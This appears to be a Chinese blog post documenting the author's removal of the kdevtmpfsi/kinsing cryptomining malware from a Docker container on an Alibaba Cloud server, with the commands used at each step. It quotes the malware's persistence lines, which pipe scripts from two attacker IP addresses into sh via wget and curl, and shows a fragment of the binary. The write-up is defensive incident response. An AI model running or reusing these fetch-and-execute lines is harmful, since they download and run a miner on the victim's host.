开端
【阿里云】尊敬的吴彦祖:
经检测您的阿里云服务（ECS实例）存在挖矿活动。根据相关法规、政策的规定及监管部门的要求，请您于2022-08-15 00时前完成挖矿问题整改，否则您的服务将被关停，详情请查看邮件或阿里云站内消息通知。
若您有其他问题，可登陆阿里云官网在线咨询
一条短信，开始了和kdevtmpfsi的故事。
初识
登录服务器，top -c 看下进程信息：
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
3195280 root 20 0 714116 267756 2708 S 99.7 14.4 19:05.65 /tmp/kdevtmpfsi 发现/tmp/kdevtmpfsi占据了99.7%的CPU资源。
毫无疑问，这家伙应该就是挖矿病毒了。
百度一波后发现，确实是它，以及它还有一个叫kinsing的守护进程，ps -ef | grep kinsing：
root 3195051 3142956 0 22:13 pts/0 00:00:00 /etc/kinsing初次交锋
直接 kill -9 3195051 3195280 杀一波进程。
top -c 再次查看进程，挖矿无了，CPU恢复正常。
正准备鸣金收兵，竟发现：
阿里云控制台ECS实例的CPU曲线居然又拉了起来。
事情并不简单
看来不止是杀个进程这么简单。
问了一嘴阿里云客服，对方丢过来一份挖矿程序处理最佳实践。
简单总结就是：
删除执行文件 => 杀进程 => 检查并清除异常端口 => 检查并清除异常定时任务
试一下。
一、删除执行文件
ps -ef | grep kdevtmpfsi 看下新起进程PID：
root 3197558 3142956 95 23:10 ? 00:40:19 /tmp/kdevtmpfsi说明病毒的执行文件为 /tmp/kdevtmpfsi。
head /tmp/kdevtmpfsi 大致看一下却提示：
head: 无法打开'/tmp/kdevtmpfsi' 读取数据: 没有那个文件或目录居然没有这个文件？
难道病毒在容器里？
docker stats 看一眼容器状态：
CONTAINER ID NAME CPU % MEM USAGE / LIMIT MEM % NET I/O BLOCK I/O PIDS
68825e3ec789 gateway-service 100.55% 810.7MiB / 1.776GiB 44.58% 0B / 0B 293MB / 52.2MB 107
1fcf77218204 watchtower 0.00% 12.2MiB / 1.776GiB 0.67% 8.03MB / 1.82MB 30MB / 0B 8
2a5700773074 nginx 0.00% 7.227MiB / 1.776GiB 0.40% 172GB / 172GB 33.8MB / 0B 3真的在容器里！
docker exec -it 68825e3ec789 /bin/bash 进容器看看。
top -c 看下容器的进程：
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
13786 root 20 0 714116 268084 2708 S 99.7 14.4 67:42.02 /tmp/kdevtmpfsi 是他了。
head /tmp/kdevtmpfsi 大致看下病毒的执行文件：
ELF>U@@p?8@8@@@?8?8 8??t??
??@?@DD8??(?Q?tdR?td8???W?WGNUGNU9Xj)3???<h?|??`?%
d?`?%pnd?`?%Pad?`?%Nd?`?%pnd?`?%0Qdx`?%??fp`?%@-dh`?%??d``?%0?dX`?%mdP`?%??hH`?%?}l@`?% nd8`?%d0`?%?\d(`?%`.d `?%??d`?% gdH?H?E\XH??t?K???H???%R\Xh??%J\Xh??%B\Xh??%:\Xh??%2\Xh??%*\Xh??%"\Xh??%\Xh??%\Xh??%
\Xh??%\Xh??%?[Xh??%?[Xh??%?[Xh??%?[Xh??%?[Xh??%?[Xh??%?[Xh??%?[Xh?H??H??H?|$?[?USH??H??H??u&H?.?H?TH?4$?9??TH?4$H?H?H??H??u1??6H?TH?4$?.?#H??t?H?TH?4$H?H?H?H?
H?HH??H??[]ÐH?H?PH??ÐUH??SH??H??H?G@H+G8H??H? ??T$
??T$
H?C8H?HH??H?K8t8H???`?mH?HE?f?@H???H#?@?H ?H?H??[]?USH??H??H??u&H?.?H?TH?4$?+??TH?4$H?H?H??H??u1??6H?TH?4$? ?#H??t?H?TH?4$H?H?H?H?
H?HH??H??[]ÐUSH??H??H??u&H?.?H?TH?4$???TH?4$H?H?H??H??u1??6H?TH?4$??#H??t?H?TH?4$H?H?H?H?
H?HH??H??[]ÐUSH??H??H??u&H?.?H?TH?4$?+??TH?4$H?H?H??H??u1??6H?TH?4$? ?#H??t?H?TH?4$H?H?H?H?
H?HH??H??[]ÐUSH??H??H??u&H?.?H?TH?4$???TH?4$H?H?H??H??u1??6H?TH?4$??#H??t?H?TH?4$H?H?H?H?
H?HH??H??[]ÐUSH??H??H??u&H?.?H?TH?4$?+??TH?4$H?H?H??H??u1??6H?TH?4$? ?#H??t?H?TH?4$H?H?H?H?
H?HH??H??[]ÐUSH??H??H??u&H?.?H?TH?4$???TH?4$H?H?H??H??u1??6H?TH?4$??#H??t?H?TH?4$H?H?H?H?
H?HH??H??[]ÐUSH??H??H??u&H?.?H?TH?4$?+??TH?4$H?H?H??H??u1??6H?TH?4$? ?#H??t?H?TH?4$H?H?H?H?全是密文。
rm -f /tmp/kdevtmpfsi 删除。
可是，报错了：
rm: cannot remove '/tmp/kdevtmpfsi': Stale file handle无法删除。
百度了一波，也没找到有效信息，甚至发了个新的提问。
这一步无奈只能暂时跳过...ORZ
二、杀进程
这个上面有，不再赘述。
三、检查并清除异常端口
无异常。
四、检查并清除异常定时任务
crontab -l 果然有定时任务：
* * * * * wget -q -O - http://91.241.19.134/scg.sh | sh > /dev/null 2>&1百度了一下这个IP：
91.241.19.134 来自俄罗斯·莫斯科
crontab -r 删它。
这一套下来，进程终止了，定时任务也删除了，虽然病毒文件没有删除，但想到定时任务已经被删除，应该没什么问题了。
气氛逐渐焦灼
但是：
过了约20分钟，kdevtmpfsi 进程又重新起来了，并且随着新起的病毒进程，容器里面竟然也有了个新的定时任务。
这不对啊，定时任务怎么也有复活甲？？？
难道定时任务的背后还存在定时任务？
在宿主机和容器中分别执行 for user in $(cut -f1 -d: /etc/passwd); do crontab -u $user -l; done 看下所有用户下的定时任务，很遗憾，一个也没有找到。
这是见鬼了啊！很难受。大招连同DF都放了，但是对面居然有无限复活甲。
迎来转机
一筹莫展之际，上面发的那个提问有位北京的大佬回复我说尝试一下重启。
试了一下，进程果然无了。
大佬牛逼。
总结（请跳过，文末已更新解决步骤）
如果你的 Linux 服务器中招 kdevtmpfsi 挖矿病毒，并且该病毒进程存在于 docker 之中，那么你可以尝试以下步骤来解决：
一、查询宿主机中的病毒文件并删除
find / -name "*kdevtmpfsi*"查询病毒文件。（我这边没有找到）find / -name "*kinsing*"查询守护进程文件。（找到两条记录，删除其中任意一条另外一条也随之删除）
二、查询宿主机中的定时任务
crontab -l查询当前账户下的定时任务。for user in $(cut -f1 -d: /etc/passwd); do crontab -u $user -l; done查询所有账户下的定时任务。
若有异常定时任务（我这边无），执行 crontab -r 删除。
三、查询病毒所在的容器并进入
docker stats查询异常容器的CONTAINER ID。docker exec -it <CONTAINER ID> /bin/bash进入病毒所在的容器。
四、查询容器中的异常定时任务并清除
crontab -l查询定时任务crontab -r删除定时任务
五、查询病毒的PID及其文件路径
ps -ef | grep kdevtmpfsi查询病毒的PID及其文件所在位置；ps -ef | grep kinsing查询守护进程的PID及其文件所在位置。
六、删除病毒文件
rm -f /etc/kinsing删除守护进程文件。rm -f /tmp/kdevtmpfsi删除病毒文件。
我这边删除会报错。
不过问题不大，你如果也报错，可以直接忽略这一步，不影响最终消灭本次病毒。
七、终止病毒进程
kill -9 <kinsing的PID> <kdevtmpfsi的PID>
八、退出容器并重启
control + P + Q退出容器docker restart <CONTAINER ID>重启容器
时间过了很久，没有新的病毒进程再自动起来。
这次的病毒算是解决了，虽然它下次还会来，但至少掌握了单次解决它的方法。
尽管病毒文件和守护进程文件还在，但应该没啥作用了，如果强迫症觉得这个文件删不掉很难受，可以 vi 进去 dG 删除所有内容后 :wq ，这样一来，和删除其实没啥区别了。
2022-08-12更新
不出意外，半夜阿里云又发来短信通知：
【阿里云】尊敬的吴彦祖：云盾云安全中心检测到您的服务器：出现了紧急安全事件：恶意脚本代码执行，建议您立即登录云安全中心控制台-安全告警处理进行处理。
重复【总结】中的步骤杀完病毒，十分钟后病毒又重新起来。
有点搞人心态，但是病毒还是要杀的，整理一下思路：
在病毒文件和定时任务都被清理的情况下，居然还可以起来，说明这个病毒不再来自容器或者宿主机内部，而是重新从公网下载到容器后再执行。
顺着这个思路重新执行【总结】中的步骤，然后进入容器，top -c 蹲每一个进程，发现以下两个进程：
curl -s 195.2.78.230/scg.sh
/bin/sh -c (curl -s 195.2.78.230/scg.sh||wget -q -O- 195.2.78.230/scg.sh)|sh猜测得到证实，首先想到的就是阻止这些脚本的周期性执行，但我对此似乎无能为力，既然如此，那就再换思路，无法阻止你执行，但可以阻止你将病毒文件下载到我的服务器，如何实现，配置防火墙。
执行 iptables -I INPUT -s 195.2.78.230 -j DROP 将来自195.2.78.230的所有文件全部丢弃。
杀进程、清文件，再重启，监控容器进程，虽然上面的两个脚本还是会执行，但病毒文件已经无法再进入服务器了，病毒进程也自然不会再起来。
解决。
最后更新下完整的步骤：
清除步骤
一、查询病毒所在的容器并进入
docker stats查询病毒所在容器的CONTAINER ID。docker exec -it <CONTAINER ID /bin/bash进入病毒所在容器。
二、查询病毒的进程和文件路径
ps -ef | grep kdevtmpfsi查询病毒的PID及其文件路径kill -9 <kdevtmpfsi的PID>终止病毒进程vi /tmp/kdevtmpfsi编辑病毒文件dG清空病毒文件后:wq保存退出ps -ef | grep kinsing查询守护进程的PID及其文件路径kill -9 <kinsing的PID>终止守护进程vi /etc/kinsing编辑守护进程文件dG清空守护进程文件后:wq保存退出
三、查询定时任务并清除
crontab -l查询（此处记得记录一下任务中的IP）crontab -r清除
四、禁止下载病毒的IP
iptables -I INPUT -s <病毒下载的IP> -j DROP丢弃来自病毒下载IP的所有数据iptables -I INPUT -s <定时任务中的IP> -j DROP丢弃来自定时任务中IP的所有数据
病毒下载的IP如何获取，阿里云的通知里面可以直接查看，也可以在容器中执行 top -c 蹲实时的进程（上文有写）。五、重启容器
重启容器。
本文完整记录病毒的处理过程，如果你也不幸感染挖矿，希望可以帮到你。
大佬们若有其他解决方式，不吝赐教。
**粗体** _斜体_ [链接](http://example.com) `代码` - 列表 > 引用。你还可以使用@来通知其他用户。